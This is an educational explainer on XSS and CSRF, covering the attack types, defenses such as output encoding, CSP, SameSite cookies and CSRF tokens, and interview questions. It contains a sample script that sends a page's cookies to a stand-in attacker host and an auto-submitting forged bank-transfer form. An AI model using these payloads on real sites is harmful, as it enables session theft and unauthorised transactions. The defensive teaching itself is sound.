XSS & CSRF
In a Nutshell
XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery) are two of the most common web vulnerabilities, and they're often confused because both involve malicious cross-site behavior ā but they're opposites. XSS tricks a victim's browser into running attacker-controlled script in the context of a trusted site (stealing sessions, defacing pages, keylogging). CSRF tricks a victim's browser into sending an unwanted authenticated request to a trusted site (transferring money, changing a password) by riding on the victim's existing session. XSS abuses the trust a user has in a site; CSRF abuses the trust a site has in the user's browser. Both have well-established defenses that every web developer must know.

How It Actually Works
XSS: Injecting Script into a Trusted Page
XSS is injection where the interpreter is the browser (see Input Validation & Injection). If user input is rendered into a page without proper encoding, an attacker's <script> runs with the victim's privileges on that site.
| Type | How the Script Gets In | Example |
|---|---|---|
| Stored (persistent) | Saved on the server, served to all viewers | Malicious comment on a forum |
| Reflected | Bounced off the server from a request | Script in a URL parameter echoed into the page |
| DOM-based | Client-side JS writes untrusted data into the DOM | innerHTML = location.hash |
Vulnerable: a comment rendered raw into HTML:
<div>{{ comment }}</div>
Attacker comment: <script>fetch('//evil.com?c='+document.cookie)</script>
ā Every viewer's browser runs it ā session cookies exfiltrated. š„
Defending Against XSS
| Defense | What It Does |
|---|---|
| Context-aware output encoding | Render data as text, not markup ā the primary fix |
| Content Security Policy (CSP) | Browser refuses to run unauthorized/inline scripts |
| Input validation | Reject obviously malicious input early (defense in depth) |
HttpOnly cookies |
JS can't read the cookie ā XSS can't steal the session |
| Framework auto-escaping | React/Angular/etc. escape by default |
| Sanitize rich HTML | For user HTML, use a vetted sanitizer (DOMPurify) |
Output encoding is the core fix: encode <, >, &, " so the browser treats input as displayed text, never as executable markup. Modern frameworks do this automatically ā the danger is when you bypass them (dangerouslySetInnerHTML, innerHTML).
CSRF: Forging Authenticated Requests
CSRF exploits that browsers automatically attach cookies to requests. If a victim is logged into bank.com, a malicious page can make the victim's browser send a request to bank.com ā and the browser dutifully includes the victim's session cookie, so the bank thinks it's legitimate.
Victim is logged into bank.com. They visit evil.com, which contains:
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker"><input name="amount" value="5000">
</form>
<script>document.forms[0].submit()</script>
ā The browser sends the POST to bank.com WITH the victim's session cookie.
ā bank.com sees a valid session ā executes the transfer. š„
The victim never clicked "transfer" ā their authenticated browser did.
Defending Against CSRF
| Defense | How It Works |
|---|---|
| CSRF tokens (synchronizer) | A random per-session token required on state-changing requests; the attacker's page can't read/guess it |
| SameSite cookies | SameSite=Lax/Strict stops cookies being sent on cross-site requests ā the modern baseline |
| Double-submit cookie | Token in both a cookie and a request value, compared server-side |
| Check Origin/Referer | Verify the request came from your own site |
| Require re-auth for sensitive actions | Password confirm for transfers, etc. |
SameSite cookies (now default Lax in modern browsers) neutralize most CSRF by preventing cookies from riding cross-site requests. CSRF tokens remain the robust, explicit defense: because the attacker's site can't read your site's token (same-origin policy), it can't forge a valid request.
XSS vs CSRF: The Key Contrast
| XSS | CSRF | |
|---|---|---|
| Attacker runs | Script in the victim's browser | A forged request to the target site |
| Abuses trust | User's trust in the site | Site's trust in the user's browser/cookie |
| Needs victim's session? | Steals or uses it | Rides on it (automatic cookies) |
| Primary defense | Output encoding + CSP | CSRF tokens + SameSite cookies |
Important: XSS defeats CSRF defenses ā if an attacker can run script on your site (XSS), they can read CSRF tokens and do anything. So XSS is the more severe class, and fixing XSS is prerequisite.

Seeing It in Action
Scenario: Hardening a web app against both XSS and CSRF.
XSS defenses (layered):
1. Output encoding by default: use the framework's auto-escaping
(React {comment} escapes automatically). NEVER innerHTML /
dangerouslySetInnerHTML with untrusted data.
2. Content Security Policy header:
Content-Security-Policy: default-src 'self'; script-src 'self'
ā the browser refuses inline scripts and scripts from other origins,
so even an injected <script> won't run.
3. HttpOnly + Secure cookies: session cookie unreadable by JS ā
even if XSS occurs, it can't steal the session cookie.
4. Sanitize any user-supplied HTML with DOMPurify (for rich text).
CSRF defenses (layered):
1. SameSite cookies: Set-Cookie: session=...; SameSite=Lax; Secure; HttpOnly
ā cookie not sent on cross-site POSTs ā most CSRF neutralized.
2. CSRF token on all state-changing requests (POST/PUT/DELETE):
- server embeds a random per-session token in forms/headers
- validates it on submission; attacker's site can't read it (same-origin)
3. Re-authentication for high-value actions (password change, transfers).
Why BOTH classes must be fixed together:
- If XSS is unfixed, the attacker's script runs on your origin, can READ
the CSRF token and HttpOnly-protected actions via the app itself ā
CSRF defenses become moot. So XSS is the higher-priority fix.
- SameSite + tokens stop the cross-site forgery; encoding + CSP stop the
script execution. Together they close both trust-abuse vectors.
Why understanding the contrast is the real lesson: XSS and CSRF look similar (both "cross-site attacks") but attack opposite trust relationships, so they need different defenses ā and confusing them leads to incomplete protection. XSS abuses the user's trust in your site by running attacker script in your origin; the fix is ensuring untrusted data is never executed (output encoding, CSP, HttpOnly cookies). CSRF abuses your site's trust in the user's browser by riding automatically-attached cookies; the fix is ensuring state-changing requests prove they originated from your own app (CSRF tokens, SameSite cookies). Crucially, they're not independent: a successful XSS undermines every CSRF defense, because attacker script running on your origin can simply read the tokens ā which is why XSS is the more dangerous class and why a secure app must eliminate script injection and forge-proof its state-changing requests. Getting both right, with defense in depth, is what closes the two most common doors attackers use against web apps.
Interview Questions
Q: What's the fundamental difference between XSS and CSRF? Hint: XSS runs attacker-controlled script in the victim's browser in the context of a trusted site (abusing the user's trust in the site) ā used to steal sessions, deface, keylog. CSRF tricks the victim's browser into sending a forged authenticated request to a trusted site (abusing the site's trust in the user's browser/cookies) ā used to perform actions like transfers. Different trust abused, different defenses.
Q: What are the types of XSS and the primary defense? Hint: Stored (malicious script persisted server-side and served to viewers), reflected (script bounced off the server from a request, e.g., a URL param echoed into the page), and DOM-based (client-side JS writes untrusted data into the DOM). Primary defense: context-aware output encoding (render data as text, not markup), plus CSP, HttpOnly cookies, input validation, and framework auto-escaping.
Q: How do CSRF tokens stop CSRF attacks? Hint: The server issues a random, unpredictable per-session token that must accompany state-changing requests. A legitimate form includes it; an attacker's cross-site page can't read your site's token (blocked by the same-origin policy) and can't guess it, so its forged request lacks a valid token and the server rejects it. This proves the request originated from your own application.
Q: How do SameSite cookies help against CSRF? Hint: CSRF relies on browsers automatically attaching cookies to cross-site requests.
SameSite=Lax(now the browser default) orStricttells the browser not to send the cookie on cross-site requests (especially cross-site POSTs), so the forged request arrives without the victim's session cookie and isn't authenticated. It neutralizes most CSRF as a baseline, complementing explicit CSRF tokens.Q: Why is XSS considered more dangerous than CSRF, and how do they interact? Hint: XSS lets an attacker run arbitrary script on your origin, so it can read CSRF tokens, exfiltrate data, hijack sessions, and perform any action the user can ā effectively defeating CSRF defenses. CSRF is limited to triggering specific state-changing requests without reading responses. So a successful XSS undermines CSRF protections, making XSS the higher-priority fix; you must eliminate script injection and forge-proof state-changing requests.
References
- OWASP XSS ā types and prevention
- OWASP CSRF ā attack and defenses
- OWASP Cheat Sheets: XSS Prevention & CSRF Prevention ā practical guidance
Dive Deeper
- Content Security Policy (MDN) ā the browser-level XSS defense
- SameSite cookies explained ā modern CSRF mitigation
- PortSwigger Web Security Academy: XSS & CSRF ā hands-on labs